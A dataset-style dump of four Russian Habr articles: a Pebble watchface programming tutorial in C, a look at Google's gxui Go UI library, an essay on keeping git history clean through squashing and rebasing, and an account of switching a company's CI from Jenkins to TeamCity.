text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Программируем под Pebble. Урок первый: Глупые часы
Когда мне привезли часы Pebble, я думал это просто умные часы. Ну, там смс на экранчике показать, время в двух поясах, поставить вместо цифровых — хипстерские аналоговые. И так далее.
Но оказывается, у часов есть довольно [большое комьюнити](http://www.mypebblefaces.com), [открытое API для создания своих приложений](https://developer.getpebble.com/2/api-reference), среда [онлайн-разработки](https://cloudpebble.net) — в общем, идеальная игрушка для скучающего разработчика.
Итак, что у нас есть? Три кнопки справа, одна кнопка слева, экран разрешением 144х168 пикселей.
Два типа программ — watchface, скины для часов и watchapp — приложения для часов. Первые не могут реагировать на кнопки, вторые могут. Первые перелистываются кнопками вверх и вниз в режиме отображения часов, вторые — показываются в конце меню после нажатия средней кнопки. У приложений по умолчанию есть верхний бар, в котором при запуске отображается название приложения, а во время работы — часы, но его можно отключить. Все внутренности полностью одинаковы, можно поменять тип приложения пересборкой, не внося изменений в код.
#### Начинаем
Заходим на [cloudpebble.net](https://cloudpebble.net), создаем аккаунт, нажимаем Create Project, выбираем SDK 2.
Сбоку видим:
Settings — настройки проекта
Compilation — сборка проекта
main.c — наш единственный файл проекта
Заходим в Settings.
App kind — это как раз тип, скин для часов или приложение.
Short Name отображается в меню часов, Long name — в приложении на телефоне(менюшка, из которой можно удалять приложения)
Menu image — картинка в меню часов.
UUID — идентификатор часов. Используется, например, при обновлении приложения. Если у загружаемого приложения такой же номер, как у одного из старых, оно будет заменено на новое.
В разделе Compilation можно собрать программу(кнопка Run build), после чего вам дадут ссылку на бинарник и QR-код для скачивания оного. Его можно сосканировать телефоном, и сразу же установить на часы. Делать это придется часто…
Теперь открываем main.c, и копируем вместо того, что там есть, вот такой код:
```
#include "pebble.h"
Window *window; /*создаем окно по имени... окно! человек человеку волк, а зомби зомби зомби. */
int main(void) {
window = window_create(); /* выделяем память и создаем окно с параметрами по умолчанию http://goo.gl/mdb5B9*/
window_stack_push(window, true); /* настраиваем анимацию при открытии этого окна. Так как оно у нас единственное - анимания будет показываться при переходе из меню в приложение. http://goo.gl/jXG3aw */
app_event_loop(); /* ждем действий в бесконечном цикле http://goo.gl/7hLyRX */
window_destroy(window); /* очищаем память и уничтожаем окно http://goo.gl/G3FJ6i */
}
```
После описания — ссылки на страницы [API](https://developer.getpebble.com/2/api-reference) по той или иной функции. ~~Сынок, это наша библия… Нет батя, это наша камасутра.~~
Приведенная выше программа не делает ничего полезного, просто показывает пустой экран. Не реагирует на кнопки, при нажатии кнопки назад — завершается.
Выведем какую-нибудь надпись. Для начала, установим фоновый цвет окна программы:
```
window_set_background_color(window, GColorBlack);
```
Второй параметр может принимать значения: **GColorBlack** — черный цвет, **GColorWhite** — белый цвет, **GColorClear** — ~~прозрачная краска~~ прозрачный фон, через который будет виден предыдущий слой(если бы он был). По умолчанию он равен White, вот почему у первой программы был белый фон. Само-собой, это надо делать уже после функции **window\_create**.
Для того, чтобы вывести текст, нам потребуется текстовый слой.
Создаем слой:
```
TextLayer *text_layer;
```
Инициализируем и задаем координаты:
```
text_layer = text_layer_create(GRect(0, 0, 144, 168));
```
**GRect** — функция создания прямоугольника. Координаты она получает в следующем порядке — первые два числа это координаты верхнего левого угла треугольника — x, y. Вторые два числа — это ширина и высота нашего прямоугольника. Для удобства сделал вот такую картинку:
Помните, что координаты отсчитываются от физического начала экрана, но в режиме приложения первые 16 пикселей закроет верхний бар, если его не убрать.
Вот картинка в размере 1:1:
Открыв ее в любом редакторе очень удобно рассчитывать координаты. К сожалению, среда разработки такой возможности не предоставляет.
По-умолчанию, цвет шрифта — черный, цвет фона — белый, выравнивание по левому краю, шрифт — Raster Gothic 14.
Меняем все это. Фон у нас черный, значит цвет букв должен быть белым:
```
text_layer_set_text_color(text_layer, GColorWhite);
```
Фон(текстового слоя) делаем прозрачным:
```
text_layer_set_background_color(text_layer, GColorClear);
```
Выравнивание — по центру:
```
text_layer_set_text_alignment(text_layer, GTextAlignmentCenter);
```
А шрифт делаем чуть больше:
```
text_layer_set_font(text_layer, fonts_get_system_font(FONT_KEY_GOTHIC_28_BOLD));
```
**Вот список всех стандартных шрифтов**FONT\_KEY\_GOTHIC\_14
FONT\_KEY\_GOTHIC\_14\_BOLD
FONT\_KEY\_GOTHIC\_18
FONT\_KEY\_GOTHIC\_18\_BOLD
FONT\_KEY\_GOTHIC\_24
FONT\_KEY\_GOTHIC\_24\_BOLD
FONT\_KEY\_GOTHIC\_28
FONT\_KEY\_GOTHIC\_28\_BOLD
FONT\_KEY\_BITHAM\_30\_BLACK
FONT\_KEY\_BITHAM\_42\_BOLD
FONT\_KEY\_BITHAM\_42\_LIGHT
FONT\_KEY\_BITHAM\_42\_MEDIUM\_NUMBERS
FONT\_KEY\_BITHAM\_34\_MEDIUM\_NUMBERS
FONT\_KEY\_BITHAM\_34\_LIGHT\_SUBSET
FONT\_KEY\_BITHAM\_18\_LIGHT\_SUBSET
FONT\_KEY\_ROBOTO\_CONDENSED\_21
FONT\_KEY\_ROBOTO\_BOLD\_SUBSET\_49
FONT\_KEY\_DROID\_SERIF\_28\_BOLD
~~Делаем ребенка~~ Добавляем созданный нами слой к слою главного экрана в качестве дочернего:
```
layer_add_child(window_get_root_layer(window), text_layer_get_layer(text_layer));
```
И наконец записываем в слой наш текст:
```
text_layer_set_text(text_layer, "Hi, habrahabr!");
```
А при выходе — не забываем освобождать память:
```
text_layer_destroy(text_layer);
```
Наша программа уже выглядить вот так:
**А вот ее исходник. Можно скопировать в редактор, собрать и запустить на часах, чтобы похвастать: я написал программу для часов(!)**
```
#include "pebble.h"
Window *window;
TextLayer *text_layer; /* создаем текстовый слой по имени... ну вы поняли */
int main(void) {
window = window_create();
window_set_background_color(window, GColorBlack); /* http://goo.gl/B6tj94 */
window_stack_push(window, true);
text_layer = text_layer_create(GRect(0, 0, 144, 168)); /* создаем прямоугольник (http://goo.gl/00eAW6) и
кидаем указателем в функцию создания слоя http://goo.gl/kYuFh5 */
text_layer_set_text_color(text_layer, GColorWhite); /* устанавливаем цвет шрифта http://goo.gl/wt4ZIC */
text_layer_set_background_color(text_layer, GColorClear); /* устанавливаем цвет фона слоя http://goo.gl/Y7HARg */
text_layer_set_font(text_layer, fonts_get_system_font(FONT_KEY_GOTHIC_28_BOLD)); /* устанавливаем шрифт
http://goo.gl/MOhxNe */
text_layer_set_text_alignment(text_layer, GTextAlignmentCenter); /* Выравниваем по центру http://goo.gl/K6LWeG */
layer_add_child(window_get_root_layer(window), text_layer_get_layer(text_layer)); /* Делаем слой дочерним и помещаем его перед слоем окна http://goo.gl/jFy8LV */
text_layer_set_text(text_layer, "Hi, habrahabr!"); /* Выводим текст http://goo.gl/KT1hD6 */
app_event_loop();
text_layer_destroy(text_layer);
window_destroy(window);
}
```
Наконец, можно добавить в наши часы отображение времени.
Создаем переменную нужного типа(время в секундах) и кладем в нее текущее время в формате [POSIX](http://ru.wikipedia.org/wiki/UNIX-%D0%B2%D1%80%D0%B5%D0%BC%D1%8F)
```
time_t now = time(NULL);
```
Создаем структуру, которая будет хранить значение текущего времени в более читабельном формате — год, месяц, день, час, минута, секунда, а так же день в недели, день в году, и AM/PM:
```
struct tm *current_time = localtime(&now);
```
А после этого записываем в нее время, конвертированное функцией localtime из POSIX в читабельный вид.
Так как нам нужно только время, а в переменной у нас валяется вся информация до кучи, надо выделить нужные нам части. Делается это функцией strftime. В качестве аргументов она принимает следующие переменные: переменная записи результата, ее размер, формат записи, переменная в которой находится время. Так как функции нужна переменная(она не может писать в текстовый слой), и ее размер, надо сначала создать такую переменную.
```
static char time[] = "00:00:00";
```
Конечно, не обязательно писать при инициализации 00:00:00, можно и «ХХХХХХХХ», а можно и ничего не писать, а просто задать размер во втором аргументе функции числом, но это будет не очень понятно.
```
strftime(time, sizeof(time), "%T", current_time);
```
Если в current\_time у нас всегда актуальное время, то начиная с этого момента, в переменной time остается форматированое значение времени на момент выполнения strftime. То, как оно форматируется — зависит от третьего аргумента — %T. Документация на формат легко гуглится по названию функции, например [вот](http://www.php.net/manual/ru/function.strftime.php). В данном случае %T — это тоже самое что и "%H:%M:%S". Часы, минуты и секунды, разделенные двоеточиями.
Теперь можно записать это значение в текстовый слой:
```
text_layer_set_text(text_layer, time);
```
Вроде как у нас получились часы. И при запуске они покажут правильное время. Вот только проблема — они не обновляются, и показывают правильное время только один раз в сутки.
Нам надо как-то каждую секунду пересчитывать время и выводить его на экран. Делается это вот как.
Создаем функцию, которая будет это делать, и переносим туда все, что касается пересчета и вывода времени:
```
static void second_tick(struct tm* tick_time, TimeUnits units_changed) {
static char time[] = "00:00:00";
strftime(time, sizeof(time), "%T", current_time);
text_layer_set_text(text_layer, time);
}
```
Подписываемся на сервис таймера:
```
tick_timer_service_subscribe(SECOND_UNIT, &second_tick);
```
Первый аргумент означает, что функция во втором аргументе будет вызываться каждую секунду. Если в часах не будет секунд, то можно экономить энергию, и будить процессор в 60 раз меньше, вызывая функцию каждую минуту: MINUTE\_UNIT
Или каждый час: HOUR\_UNIT
Или каждый день: DAY\_UNIT
Ну, вы поняли логику: MONTH\_UNIT, YEAR\_UNIT
После этого желательно вызвать эту функцию принудительно, не дожидаясь очередного тика таймера — ну просто для красоты, чтобы секунду не смотреть на пустой экран. Это хорошо если секунду. А если таймер каждую минуту тикает?
```
second_tick(current_time, SECOND_UNIT);
```
В итоге наши часы выглядят вот так:
Исходник:
```
#include "pebble.h"
Window *window;
TextLayer *text_layer;
static void second_tick(struct tm* tick_time, TimeUnits units_changed) /* функция, вызываемая при тике таймера */
{
static char time[] = "00:00:00"; /* создаем переменную и определяем ее размер */
strftime(time, sizeof(time), "%T", tick_time); /* форматируем строку с временем */
text_layer_set_text(text_layer, time); /* записываем строку со временем в тестовый слой */
}
int main(void)
{
window = window_create();
window_set_background_color(window, GColorBlack);
window_stack_push(window, true);
text_layer = text_layer_create(GRect(0, 0, 144, 168));
text_layer_set_text_color(text_layer, GColorWhite);
text_layer_set_background_color(text_layer, GColorClear);
text_layer_set_font(text_layer, fonts_get_system_font(FONT_KEY_GOTHIC_28_BOLD));
text_layer_set_text_alignment(text_layer, GTextAlignmentCenter);
layer_add_child(window_get_root_layer(window), text_layer_get_layer(text_layer));
time_t now = time(NULL); /* создаем переменную и пишем в нее POSIX-время */
struct tm *current_time = localtime(&now); /* получаем из POSIX значения времени и даты */
tick_timer_service_subscribe(SECOND_UNIT, &second_tick); /* подписываемся на секундный таймер */
second_tick(current_time, SECOND_UNIT); /* вызываем обновление времени не дожидаясь тика */
app_event_loop();
text_layer_destroy(text_layer);
window_destroy(window);
tick_timer_service_unsubscribe();
}
```
#### Ссылки:
[Httpeble](https://github.com/Katharine/httpebble-watch): библиотека, реализующая http-запросы внутри программ
[[EN]Проект по-настоящему умных часов](http://smartwatchplusios.appspot.com/index.htm)(календарь, погода, напоминания, поиск телефона, HTTP-запросы для управления умным домом, управление музыкой, управление камерой, GPS, биржевые сводки)
[PapaBubaDiop](http://habrahabr.ru/users/papabubadiop/) [пишет](http://habrahabr.ru/post/202164/) о разработке игры под Pebble.
Огромная [коллекция](http://www.mypebblefaces.com/) различных приложений для pebble, большинство — с исходниками.
[](https://twitter.com/MadrobotsRu)[](http://vk.com/madrobots)[](http://instagram.com/madrobotsru)[](http://facebook.com/madrobotsrussia)
[](http://madrobots.ru) | https://habr.com/ru/post/204338/ | null | ru | null |
# Нативная UI-библиотека для Go
Один из частых вопросов про Go — существует ли хорошая кроссплатформенная UI-библиотека на Go. Как правило, вопрошающих отсылали либо к [go-qml](https://github.com/go-qml/qml), либо к [andilabs/ui](https://github.com/andlabs/ui) (биндинги к C-реализациям нативного UI для каждой платформы), но в целом достойного проекта по нативному Go UI пока не было. На днях же, пару разработчиков из Google открыли для open-source мира проект [gxui](https://github.com/google/gxui), который нацелен восполнить нишу нативных UI-библиотек для Go.
Проект еще сырой, но выглядит неплохо и перспективно.
Давайте взглянем поближе.
Адрес проекта: [github.com/google/gxui](https://github.com/google/gxui), и вот по-своему замечательное [README](https://github.com/google/gxui/blob/master/README.md):
> Это экспериментальный код, и будет претерпевать существенные изменения. Свободно играйтесь с ним, пробуйте, но не расстраивайтесь, если API будет существенно переработан.
>
>
>
> Пока что код недокументирован, и он точно не «идиоматический» Go. В ближайшие месяцы он будет сильно отрефакторен.
>
>
>
> Это не официальный продукт Google, это просто код, которому случилось принадлежать Google.
Согласен, ридми не вдохновляющее, но давайте посмотрим, что на данный момент есть. Бегло изучив и испробовав примеры в директории samples/, попробовал написать банальное модальное окно.
```
package main
import (
"fmt"
"github.com/google/gxui"
"github.com/google/gxui/drivers/gl"
"github.com/google/gxui/themes/dark"
)
func appMain(driver gxui.Driver) {
theme := dark.CreateTheme(driver)
label := theme.CreateLabel()
label.SetText("Are you sure?")
yesButton := theme.CreateButton()
yesButton.SetText("Yes")
yesButton.OnClick(func(ev gxui.MouseEvent) {
fmt.Println("Yes")
})
noButton := theme.CreateButton()
noButton.SetText("No")
noButton.OnClick(func(ev gxui.MouseEvent) {
fmt.Println("No")
})
layout := theme.CreateLinearLayout()
layout.AddChild(label)
btnLayout := theme.CreateLinearLayout()
btnLayout.AddChild(yesButton)
btnLayout.AddChild(noButton)
btnLayout.SetOrientation(gxui.Horizontal)
layout.AddChild(btnLayout)
layout.SetHorizontalAlignment(gxui.AlignCenter)
layout.SetVerticalAlignment(gxui.AlignMiddle)
window := theme.CreateWindow(120, 60, "Message Box")
window.AddChild(layout)
window.OnClose(driver.Terminate)
gxui.EventLoop(driver)
}
func main() {
gl.StartDriver("", appMain)
}
```
Похоже на GTK, и на Qt, правда? На мой взгляд, это хорошо — у кого есть опыт работы с GTK/Qt — будет проще понять логику работы с библиотекой, а когда речь пойдет об автогенераторах кода для UI, то тоже уже по протоптанной дороге можно будет идти (возможно даже, будет несложно адаптировать Glade или Qt Designer под эту библиотеку?).
Для взаимодействия с графической подсистемой пока используется только OpenGL, но дизайн библиотеки позволяет в будущем добавлять любой другой драйвер вывода, хоть AsciiArt, хоть DirectX.
Результат выглядит вот так:
Я не нашел пока, как сделать правильное выравнивание, resize виджетов или relayout при ресайзе окна (хотя функции для этого, вроде как есть). Со шрифтами пока тоже все на самом минимальном уровне.
Вот ещё немного примеров из исходников:
Анимированный [прогрессбар](https://github.com/google/gxui/tree/master/samples/progress_bar).
[Полигоны](https://github.com/google/gxui/tree/master/samples/polygon)
[Панели](https://github.com/google/gxui/tree/master/samples/panels), которые можно ресайзить и переключать табы:
[Списки](https://github.com/google/gxui/tree/master/samples/lists)
В целом, конечно, спрос на десктопные UI с каждым годом всё меньше и web-решения тут заняли прочную позицию. И хотя потребность в десктопных UI всё ещё есть, но вот этот тренд может убить энтузиазм и мотивацию авторов библиотеки. При этом, важно понимать, что сложность вообще самой задачи создания полнофункциональной UI библиотеки, еще и кросс-платформенной — огромна, и нуждается в колоссальных ресурсах, чтобы сделать это качественно и правильно. Учитывая всё это, я лично большие ожидания в этот проект не вкладывал бы, но поиграться будет интересно, особенно в тот момент, когда в README будет написано, что API is stable.
Впрочем, с другой стороны, проект уже собрал 1345 звезд на github-е, и судя по реакции в twitter/reddit, подобную библиотеку многие очень ждут.
Так что, кому интересно, пробуйте, контрибьютьте, следите за проектом. | https://habr.com/ru/post/253519/ | null | ru | null |
# Постигаем Git
*От переводчика: в этой статье нет описания команд git, она подразумевает, что вы уже знакомы с ним. Здесь описывается вполне здравый, на мой взгляд, подход к содержанию публичной истории в чистоте и порядке.*
Если вы не понимаете, что побудило сделать git именно таким, то вас ждут страдания. Используя множество флагов (--flag), вы сможете заставить git работать так, как по вашему мнению он должен работать, вместо того, чтобы работать так, как git того хочет. Это как забивать гвозди отверткой. Работа делается, но хуже, медленнее, да и отвертка портится.
Рассмотрим, как разваливается обычный подход к разработке с git.
Отпочковываем ветку от master, работаем, сливаем обратно, когда закончили.
Большую часть времени это работает, как и ожидается, потому как master меняется после того, как вы сделали ответвление *(Имеется в виду, что в master коммитят ваши коллеги — прим. переводчика.)*. Однажды вы сливаете ветку feature в master, но master не менялась. Вместо коммита слияния (merge commit) git просто передвигает указатель master на последний коммит, происходит fast forward.
*Для пояснения механизма fast forward я позаимствовал картинку из одной известной статьи. Прим. переводчика.*
К несчастью ваша ветка feature содержала промежуточные коммиты — частые коммиты, что бекапят работу, но захватывают код в нерабочем состоянии. Теперь эти коммиты неотличимы от стабильных коммитов в master. Вы можете с легкостью откатиться в этакое бедствие.
Итак, вы добавляется новое правило: «Использовать --no-ff при слиянии веток feature». Это решает проблему и вы двигаетесь дальше.
Затем в один прекрасный день вы обнаруживаете критичный баг в продакшене и вам требуется отследить момент, когда он появился. Вы запускаете [bisect](http://book.git-scm.com/5_finding_issues_-_git_bisect.html), но постоянно попадаете на промежуточные коммиты. Вы сдаетесь и ищете руками.
Вы локализуете баг вплоть до файла. Запускаете blame, чтобы увидеть, изменения за последние 48 часов. Вы знаете, что это невозможно, но blame сообщает, что файл не изменялся несколько недель. Выясняется, что blame выдает время исходного коммита вместо времени слияния ветки *(логично, ведь merge commit пуст — прим. переводчика)*. Ваш первый промежуточный коммит изменил этот файл несколько недель назад, но изменение было влито только сегодня.
Костыль no-ff, поломанный bisect и невнятность blame — симптомы того, что вы забиваете гвозди отверткой.
#### Переосмысление контроля версий
Контроль версий нужен для двух вещей.
Первая — для помощи в написании кода. Есть необходимость синхронизировать правки со своей командой и регулярно бекапить свою работу.
Вторая причина — это [конфигурационное управление](http://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BD%D1%84%D0%B8%D0%B3%D1%83%D1%80%D0%B0%D1%86%D0%B8%D0%BE%D0%BD%D0%BD%D0%BE%D0%B5_%D1%83%D0%BF%D1%80%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5). Включает в себя управление параллельной разработкой. Например, работа над следующей релизной версией и параллельные баг-фиксы существующей продакшн версии. Конфигурационное управление подразумевает возможность узнать, когда что-либо было изменено. Бесценный инструмент для диагностирования ошибок.
Традиционно эти две причины вступают в конфликт.
При разработке некой функциональности вам понадобятся регулярные промежуточные коммиты. Однако, эти коммиты обычно ломают билд.
В совершенном мире каждое изменение истории версий лаконично и стабильно. Здесь нет промежуточных коммитов, что создают помехи. Здесь нет гигантских коммитов на 10 000 строк. Опрятная история позволяет откатывать правки или перекидывать их между ветками с помощью [cherry-pick](http://gitready.com/intermediate/2009/03/04/pick-out-individual-commits.html). Опрятную историю проще изучать и анализировать. Однако, поддержание чистоты истории подразумевает доведение всех правок до идеального состояния.
Так какой подход выбираете вы? Частые коммиты или опрятную историю?
Если вы работаете вдвоем над предрелизным стартапом, опрятная история подкупает несильно. Вы можете коммитить все подряд в master и выпускать релизы когда вам вздумается.
Как только значимость изменений увеличится, будь то рост команды разработки или размера пользовательской базы, вам понадобятся инструменты для поддержания порядка. Сюда входят автоматическое тестирование, code review и опрятная история.
Ветки feature выглядят удачным компромиссом. Они разрешают простые проблемы параллельной разработки. Вы думаете об интеграции в наименее важный момент времени, когда пишите код, но это поможет вам на некоторое время.
Когда ваш проект достаточно разрастется, простой подход branch / commit / merge развалится. Время применения клейкой ленты закончилось. Вам нужна опрятная история изменений.
Git революционен, потому что он дает вам лучшее от двух миров. Можно делать частые коммиты в процессе разработки и чистить историю по окончании. Если это ваш подход, то умолчания git представляются более осмысленными *(имеется в виду fast-forward по умолчанию при слиянии веток — прим. переводчика)*.
#### Последовательность действий
Думайте о ветках в разрезе двух категорий: публичные ветки и приватные.
Публичные ветки — это официальная история проекта. Коммит в публичную ветку должен быть лаконичным, атомарным и иметь хорошее описание. Он должен быть линейным. Он должен быть неизменен. Публичные ветки это master и release.
Приватная ветка для себя. Это ваш черновик на время решения задачи.
Наиболее безопасно хранить приватные ветки локально. Если вам требуется сделать push для синхронизации рабочего и домашнего компьютеров, например, сообщите вашим коллегам, что ветка ваша и что не стоит на нее опираться.
Не стоит вливать приватную ветку в публичную простейшим merge. Сперва подчистите вашу ветку инструментами вроде reset, rebase, merge --squash и commit --amend.
Представьте себя писателем, а коммиты главами книги. Писатели не публикуют черновики. Майкл Крайтон сказал: «Великие книги не написаны — они переписаны».
Если вы пришли с других VCS, изменение истории вам покажется табу. Вы исходите из того, что любой коммит высечен в камне. Следуя этой логике, нужно убрать «undo» из текстовых редакторов.
Прагматики заботятся о правках только до тех пор пока эти правки не становятся надоедливыми. Для конфигурационного управления нам важны только глобальные изменения. Промежуточные коммиты всего-лишь легковесный буфер с возможностью отмены.
Если рассматривать историю как нечто незапятнанное, то fast-forward слияние не только безопасно но и предпочтительно. Оно поддерживает линейность истории, ее проще отслеживать.
Единственный оставшийся аргумент за --no-ff — это документирование. Можно использовать коммиты слияния для ассоциации с последней версией продакшн кода. Это антипаттерн. Используйте теги.
#### Рекомендации и примеры
Я использую 3 простых подхода в зависимости от размера изменения, времени работы над ним и того, как далеко ветка ушла в сторону.
##### Быстрая правка
Большую часть времени чистка это всего лишь squash коммит.
Допустим, я создал ветвь feature и сделал несколько промежуточных коммитов в течении часа.
```
git checkout -b private_feature_branch
touch file1.txt
git add file1.txt
git commit -am "WIP"
```
Как только я закончил, вместо простого merge, делаю следущее:
```
git checkout master
git merge --squash private_feature_branch
git commit -v
```
Затем трачу минуту на написание более подробного комментария к коммиту.
##### Правка побольше
Временами реализация фичи разрастается в многодневный проект с множеством мелких коммитов.
Я решаю, что моя правка должна быть разделена на более мелкие части, так что squash слишком грубый инструмент. (В качестве повседневного правила я спрашиваю себя: «Легко ли будет сделать code review?»)
Если мои промежуточные коммиты были логичным движением вперед, то можно использовать [rebase](http://book.git-scm.com/4_interactive_rebasing.html) в интерактивном режиме.
Интерактивный режим могуч. Вы можете использовать его для редактирования старых коммитов, разделения или упорядочивания оных и, в данном случае, для объединения нескольких.
В ветке feature:
```
git rebase --interactive master
```
Откроется редактор со списком коммитов. Каждая строка это: команда, которая будет выполнена, SHA1 хэш и комментарий к коммиту. Внизу есть список возможных команд.
По умолчанию у каждого коммита стоит «pick», что означает «коммит не изменять».
```
pick ccd6e62 Work on back button
pick 1c83feb Bug fixes
pick f9d0c33 Start work on toolbar
```
Меняю команду на «squash», которая объединяет текущий коммит с предыдущим.
```
pick ccd6e62 Work on back button
squash 1c83feb Bug fixes
pick f9d0c33 Start work on toolbar
```
Сохраняю, теперь другой редактор запрашивает комментарий к объединенному коммиту. Все, готово.
##### Несостоявшиеся ветки
Возможно ветка feature просуществовала длительное время и в нее сливались другие ветки для поддержания ее актуальности. История сложна и запутана. Простейшее решение взять грубый diff и создать новую ветку.
```
git checkout master
git checkout -b cleaned_up_branch
git merge --squash private_feature_branch
git reset
```
Теперь рабочая директория полна моих правок и никакого наследия предыдущей ветки. Теперь берем и ручками добавляем и коммитим правки.
#### Резюмируем
Если вы боретесь с умолчаниями в git, спросите себя почему.
Считайте публичную историю неизменной, атомарной и легко прослеживаемой.
Считайте приватную историю изменяемой и гибкой.
Порядок действий таков:
* Создаем приватное ответвление от публичной ветки.
* Методично коммитим работу в эту приватную ветку.
* Как только код достиг совершенства, приводим историю в порядок.
* Сливаем упорядоченную ветку обратно в публичную. | https://habr.com/ru/post/141160/ | null | ru | null |
# Continuous Integration в Дневник.ру
В этой статье мы решили немного рассказать о средствах continuous integration (CI), которые используем в компании Дневник.ру, и поделиться небольшими наработками в этом направлении. Большая часть материала может показаться банальной рекламой выбранного движка CI или попыткой вызвать holy war (причем не один), но подобного не было в целях. Статья также не является путеводителем или описанием каких-либо фитч и может быть расценена как статья от кэпа – главное, чтобы она была интересна и вызвала дискуссию.
#### Jenkins
Одной из первых задач, которую я для себя поставил, придя в компанию около 3х месяцев назад, было внедрение «нормальной» (с моей точки зрения) практики CI. Не то чтобы в компании тогда не было подобной практики, но на тот момент CI в компании был представлен с помощью небезызвестного [Jenkins](http://jenkins-ci.org/). Это open source проект, являющийся ответвлением от другого большого CI инструмента — [Hudson](http://hudson-ci.org/). Последний раз c Hudson я работал в 2008-ом году, и опыт был резко негативный. Меня не испугал интерфейс, я смог пережить сложности настройки, но ситуация, когда в итоге все это падает и спотыкается на ровном месте по 20 раз на дню, не стала для меня положительной характеристикой хорошо оттестированной стабильной системы. Как оказалось, время не лечит, и эти проблемы никуда не ушли – даже после 4-х лет и смены названия.
Виной всему основная идея, заложенная и в Hudson и в Jenkins – это просто максимально обобщённые движки для CI. Основная их мощь должна была заключаться в их расширяемости:
* Берём движок
* Ставим тыщщу плагинов на все случаи жизни
* Пытаемся всё это настроить
* Типа profit
Основной момент, который многие склонны забывать – плагины не всегда есть хорошо, а, зачастую, даже вредно. Плагины, как правило, пишут другие люди, и вы понятия не имеете: насколько хорошо каждый их них был оттестирован, не содержит ли он чего-нибудь неожиданного в коде, – примеров можно привести массу. Поэтому меня всегда забавляли люди, обвешавшие свои системы плагинами, как рождественские ёлки, а потом ругающие тормоза и падения в своих любимых: FireFox’е, Миранде, Visual Studio (добавьте по вкусу).
Использование проверенных источников и принцип минимализма всегда уберегали меня от подобных неприятностей. К сожалению, в случае с Jenkins всё было не так просто. Изначально имеющий в основе идею maximum generic solution, но, тем не менее, принадлежащий к миру Java, для мира .Net он, из коробки, не умел ровным счётом ничего.
Хочешь собирать .Net проекты? Ставь сторонний плагин. Хочешь LDAP аутентификацию? Ставь сторонний плагин (про костыли для подтягивания email адресов из LDAP я вообще молчу). Даже Subversion из коробки не поддерживается, нужно опять ставить ещё один плагин – причём, сомнительного качества и с весьма скудным набором функций. В общем, все это выливалось в титанические усилия по настройке и поддержке фермы плагинов (всего порядка 50). И, как я уже отметил, код может быть плохо оттестирован, поэтому попытка обновления версии какого-нибудь плагина легко могла привести к краху всего Jenkins. Неслучайно в нем предусмотрена возможность сделать downgrade прямо на странице управления плагинами (кнопка downgrade’а всего Jenkins также присутствует) – все это связано именно с проблемами стабильности и совместимости.
В итоге вопросы стабильности, бедность инфраструктуры для мира .Net, а также весьма значительные затраты на поддержку и администрирование билдов сводило на нет все преимущества Jenkins как бесплатной системы CI.
#### Team City
Сразу оговорюсь, я не мучился долго с выбором движка. Я сразу знал, что буду использовать [JetBrains Team City](http://www.jetbrains.com/teamcity/). Причины достаточно просты:
* Я его прекрасно знаю и внедрял в процесс множество раз;
* Его легко администрировать;
* Из коробки есть всё, что надо для .Net проектов;
* Отличная интеграция с IDE и окружением разработчика;
* Шаблонизатор проектов (этого очень не хватало в Jenkins);
* Достаточно удобная лицензионная политика Jet Brains: бесплатная Professional редакция Team City содержит только два ограничения: 20 билд проектов и 3 билд машины;
* Ну, и прочие вкусности.
Самая важная причина, про которую я помню всегда: open source — это для бедных. Тут я сразу призываю всех любителей поучаствовать в специальной олимпиаде не воспринимать эту фразу буквально. Я придаю этому более глубокий смысл. Open Source – это хорошо, и спасение для многих компаний, но суть всегда остаётся одна: open source-решение в 90% случаев будет проигрывать аналогичной коммерческой разработке. Именно поэтому я даже не стал смотреть в сторону [CC.Net](http://confluence.public.thoughtworks.org/display/CCNET/Welcome+to+CruiseControl.NET) и прочих.
Может возникнуть закономерный вопрос: почему не Atlassian Bamboo или TFS? Всё очень просто. Выбрать TFS означало бы сжигание мостов для других технологий, а я не сторонник таких мер и уверен, что наш проект очень скоро выйдет за рамки 100% .Net решения. Да, его можно использовать для других технологий, но только с использованием костылей, и вновь теряя время.
Atlassian Bamboo – сам по себе не плох, отличная интеграция с Jira, неплохой UX. Но отсутствие pre-commit билдов и бедноватая интеграция с окружением разработчика, отсутствие поддержки NuGet и прочие мелочи склонили чашу весов в пользу Team City.
Удивление вызовет то, что внутри Team City использует тот же самый подход, за который я хаял Jenkins/Hudson – это plugin система, и весь его функционал представлен исключительно плагинами. Да, это так, но с одним исключением: все плагины, входящие в стандартную поставку TeamCity, проходят тестирование силами JenBrains. Сказывается коммерческая сущность продукта, они не могут позволить себе выкинуть на рынок пригоршню поделок. Люди платят за это деньги, а это значит, что и требования куда суровее.
Плюс, что мне всегда нравилось в продуктах JetBrains – это то, что фраза user experience для них не пустой звук. Тебя с самого начала берут за ручку и проводят через все тернии установки и администрирования с максимальным комфортом. Я ценю такую заботу и считаю, что именно так и надо делать профессиональные продукты.
#### Внедрение
Я не буду расписывать процесс установки и настройки TeamCity, это не является целью данной статьи и не сильно интересно.
Скажу лишь, что систему я ставил на Windows Server 2008 R2, и в качестве базы данных использовал MS Sql Server 2008 R2. Быстро выяснилась одна особенность. В схеме базы данных для Ms Sql Server они не везде поддерживают юникод. Особенно это было ощутимо, когда разработчики писали комментарии к коммиту на русском. Эту проблему было решить достаточно просто. В базе данных, в таблице *vcs\_history* тип колонки *description* был изменён с *varchar(max)* на *nvarchar(max)*. Да, это может повлечь проблемы с апгрейдом на последующие версии, но это было необходимо.
Главную сложность представляла не настройка Team City, а сами разработчики. Точнее, попытка заставить их воспринимать поломку билда на CI как из ряда вон выходящее событие, которое должно быть исправлено немедленно. Здесь рецепт может быть только один: тщательное документирование процесса и личный контроль исполнения. Через какое-то время люди поняли, что от них требуется, и теперь мне даже не приходится это контролировать.
Первый билд, который мы установили – обычная интеграционная сборка .Net солюшена. Для того чтобы более правильно понимать, кто именно завалил билд и чем, была настроена политика – собирать билд на каждый коммит в svn.
Этого оказалось мало, так как простой интеграционный билд не проверял ошибки компиляции Asp.Net.
Немного подискутировав на эту тему, мы решили добавить во все проекты веб-приложений новую конфигурацию *CI Build* и прописать следующий *target* в проектных файлах
```
```
Таким образом, каждый разработчик мог перед коммитом запустить Asp.Net компиляцию на проекте.
